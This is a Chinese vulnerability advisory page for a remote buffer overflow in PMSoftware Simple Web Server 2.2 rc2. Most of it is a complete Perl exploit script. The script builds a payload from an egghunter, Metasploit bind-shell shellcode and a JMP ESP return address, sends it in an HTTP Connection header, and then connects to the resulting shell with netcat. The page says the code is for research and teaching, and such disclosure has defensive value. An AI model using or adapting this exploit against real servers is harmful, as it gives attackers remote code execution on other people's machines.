PMSoftware Simple Web Server远程缓冲区溢出漏洞

发布日期：2012-07-18
更新日期：2012-07-23受影响系统：
PMSoftware PMSoftware Simple Web Server 2.2 rc2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54605PMSoftware Simple Web Server是HTTP服务器应用。Simple Web Server 2.2 rc2在实现上存在缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。<*来源：mr.pr0n
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！mr.pr0n （）提供了如下测试方法：
use IO::Socket;
##############################################################################
# Exploit Title: SimpleWebServer 2.2-rc2 - Remote Buffer Overflow Exploit
# Date: 19/07/2012
# Author: mr.pr0n （@_pr0n_）
# Homepage: http://ghostinthelab.wordpress.com/
# Software Link: http://www.pmx.it/download/sws-2.2-rc2-i686.exe
# Version: 2.2 rc2
# Tested on: Windows XP SP3
##############################################################################
# root@bt:~/Desktop# perl sws2_2-rc2_poc.pl 192.168.178.43 80
# +---------------------------------------------------------------+
# |   Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit |
# |                 mr.pr0n - http://ghostinthelab.wordpress.com |
# +---------------------------------------------------------------+
#
# [+] Sending buffer （2104 bytes） to: 192.168.178.43:80
# [+] Exploitation Done！
# [+] Please, wait couple of sec ...
# [+] Got shell？
#
# Microsoft Windows XP [Version 5.1.2600]
# （C） Copyright 1985-2001 Microsoft Corp.
#
# C:Program FilesPMSoftwaresws>
##############################################################################
print "+---------------------------------------------------------------+ ";
print "|   Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit | ";
print "|                 mr.pr0n - http://ghostinthelab.wordpress.com | ";
print "+---------------------------------------------------------------+ ";
if （@ARGV ！= 2）
{
   print " [-] Usage: $0 <target ip> <port> ";
   exit（）;
}$target = $ARGV[0]; # Target IP
$port   = $ARGV[1]; # Target port# The egghunter.
$egghunter =
"x66x81xCAxFFx0Fx42x52x6Ax02".
"x58xCDx2Ex3Cx05x5Ax74xEFxB8".
"w00t". # The 4 byte tag！
"x8BxFAxAFx75xEAxAFx75xE7xFFxE7";

# MSF windows/shell_bind_tcp LPORT=4444
$shellcode =
"xdaxc5xd9x74x24xf4x2bxc9xbax3ax04xccxb6x5e".
"xb1x56x31x56x19x83xeexfcx03x56x15xd8xf1x30".
"x5ex95xfaxc8x9fxc5x73x2dxaexd7xe0x25x83xe7".
"x63x6bx28x8cx26x98xbbxe0xeexafx0cx4exc9x9e".
"x8dx7fxd5x4dx4dx1exa9x8fx82xc0x90x5fxd7x01".
"xd4x82x18x53x8dxc9x8bx43xbax8cx17x62x6cx9b".
"x28x1cx09x5cxdcx96x10x8dx4dxadx5bx35xe5xe9".
"x7bx44x2axeax40x0fx47xd8x33x8ex81x11xbbxa0".
"xedxfdx82x0cxe0xfcxc3xabx1bx8bx3fxc8xa6x8b".
"xfbxb2x7cx1ex1ex14xf6xb8xfaxa4xdbx5ex88xab".
"x90x15xd6xafx27xfax6cxcbxacxfdxa2x5dxf6xd9".
"x66x05xacx40x3exe3x03x7dx20x4bxfbxdbx2ax7e".
"xe8x5dx71x17xddx53x8axe7x49xe4xf9xd5xd6x5e".
"x96x55x9ex78x61x99xb5x3cxfdx64x36x3cxd7xa2".
"x62x6cx4fx02x0bxe7x8fxabxdexa7xdfx03xb1x07".
"xb0xe3x61xefxdaxebx5ex0fxe5x21xe9x08x2bx11".
"xb9xfex4exa5x2fxa2xc7x43x25x4ax8exdcxd2xa8".
"xf5xd4x45xd3xdfx48xddx43x57x87xd9x6cx68x8d".
"x49xc1xc0x46x1ax09xd5x77x1dx04x7dxf1x25xce".
"xf7x6fxe7x6fx07xbax9fx0cx9ax21x60x5bx87xfd".
"x37x0cx79xf4xd2xa0x20xaexc0x39xb4x89x41xe5".
"x05x17x4bx68x31x33x5bxb4xbax7fx0fx68xedx29".
"xf9xcex47x98x53x98x34x72x34x5dx77x45x42x62".
"x52x33xaaxd2x0bx02xd4xdaxdbx82xadx07x7cx6c".
"x64x8cx8cx27x25xa4x04xeexbfxf5x48x11x6ax39".
"x75x92x9fxc1x82x8axd5xc4xcfx0cx05xb4x40xf9".
"x29x6bx60x28x23";$junk       = "x41" x （2048 - length（"w00tw00t"） - length（$shellcode））;
$ret        = pack（"V",0x7C874413）;         # JMP ESP - kernel32.dll
$nops       = "x90" x 20;          # 20 nops.
$exploit    = $junk."w00tw00t".$shellcode.$ret.$nops.$egghunter;if （$socket = IO::Socket::INET->new
     （PeerAddr => $target,
      PeerPort => $port,
      Proto => "TCP"））
{
        $header =
        "GET / HTTP/1.1 ".
        "Host: ".$target." ".
        "Connection:".$exploit." ";
    print " [+] Sending buffer （".（length（$exploit））." bytes） to: $target:$port ";
        print $socket $header." ";
        sleep（1）;
        close（$socket）;
    print "[+] Exploitation Done！ ";
    print "[+] Please, wait couple of sec ... ";
    sleep（15）;
    print "[+] Got shell？ ";
        $command = "nc $target 4444";
        system （$command）;
}

else
{
    print "[-] Connection to $target failed！ ";
}建议：
--------------------------------------------------------------------------------
厂商补丁：PMSoftware
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.pmx.it/software/product.asp？id=1Squashfs “unsquashfs”整数溢出漏洞Novell ZENworks Configuration Management多个安全漏洞（CVE-2011-3175）相关资讯缓冲区溢出漏洞

Novell iPrint Client 缓冲区溢出（05/04/2013 07:13:08）
Siemens WinCC CCEServer缓冲区溢（03/22/2013 19:25:09）
EMC AlphaStor DCP缓冲区溢出漏洞（02/05/2013 09:14:34）

Siemens WinCC RegReader ActiveX （03/24/2013 08:07:04）
Novell Messenger / Groupwise （03/18/2013 20:58:20）
GNU Coreutils ‘sort’Text （02/02/2013 07:27:30）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容